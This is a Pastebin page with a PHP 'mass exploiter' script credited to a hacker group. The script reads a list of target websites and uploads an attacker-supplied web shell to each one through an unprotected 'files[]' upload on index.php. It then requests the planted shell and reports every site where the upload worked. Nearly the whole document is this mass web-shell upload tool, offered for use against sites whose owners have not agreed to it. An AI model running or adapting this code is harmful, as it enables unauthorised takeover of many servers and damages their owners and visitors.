SHARE
TWEET

Mass Exploiter Array Files[]

choirurrizal Oct 6th, 2017 (edited) 533 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. # ShinChan - N45HT - N45HT.WEB.ID
  3. # fb.com/angelia.put - fb.com/ShinChan.admin - fb.com/N45HTOfficial - fb.com/groups/N45HTOfficial
  4. # shinchan0x1945@gmail.com
  5.  
  6. # your list.txt must a single directory with this exploiter #
  7.  
  8. echo "
  9.  ___  _  _  __  _  _  __  _  _   __   _  _     _    _  ____  ___
  10. / __)( )( )(  )( \( )/ _)( )( ) (  ) ( \( )   ( \/\/ )(_  _)(  _)
  11. \__ \ )__(  )(  )  (( (_  )__(  /__\  )  (  ___\    /   )(   ) _)
  12. (___/(_)(_)(__)(_)\_)\__)(_)(_)(_)(_)(_)\_)(___)\/\/   (__) (_)  
  13.        Mass Exploiter Array Files[] - Coded by ShinChan
  14.  
  15.     Thanks to :  PETR03X - Comod0x - Grav3 - SCYTHE404_LOL
  16.                        All Members N45HT
  17.  
  18.  
  19.  
  20. ";
  21. echo " Enter your list  : ";
  22. $list = trim(fgets(STDIN));
  23. echo " Enter your shell : ";
  24. $shell = trim(fgets(STDIN));
  25.  
  26. $open = fopen($list,"r");
  27. $size = filesize($list);
  28. $read = fread($open,$size);
  29. $lists = explode("\r\n",$read);
  30.  
  31. foreach($lists as $target){
  32.     if(!preg_match("/^http:\/\//",$target) AND !preg_match("/^https:\/\//",$target)){
  33.         $targets = "http://$target";
  34.     }else{
  35.         $targets = $target;
  36.     }
  37.    
  38.     $vuln = "$targets/index.php";
  39.     $getshell = "$targets/files/$shell";
  40.    
  41.     echo "\n\n Exploiting : $targets";
  42.    
  43.     $ch = curl_init();
  44.     curl_setopt($ch, CURLOPT_URL, $vuln);
  45.     curl_setopt($ch, CURLOPT_POST, 1);
  46.     curl_setopt($ch, CURLOPT_POSTFIELDS, array("files[]" => "@$shell"));
  47.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  48.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  49.    
  50.     $post = curl_exec($ch);
  51.    
  52.     if($post){
  53.         $cek = curl_init();
  54.         curl_setopt($cek, CURLOPT_URL, $getshell);
  55.         curl_setopt($cek, CURLOPT_FOLLOWLOCATION, 1);
  56.         curl_setopt($cek, CURLOPT_RETURNTRANSFER, 1);
  57.         $response = curl_exec($cek);
  58.         $httpcode = curl_getinfo($cek, CURLINFO_HTTP_CODE);
  59.        
  60.         if($httpcode == 200){
  61.             echo "\n Success    : $getshell\n\n";
  62.         }else{
  63.             echo "\n Failed\n";
  64.         }
  65.     }
  66. }
  67. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top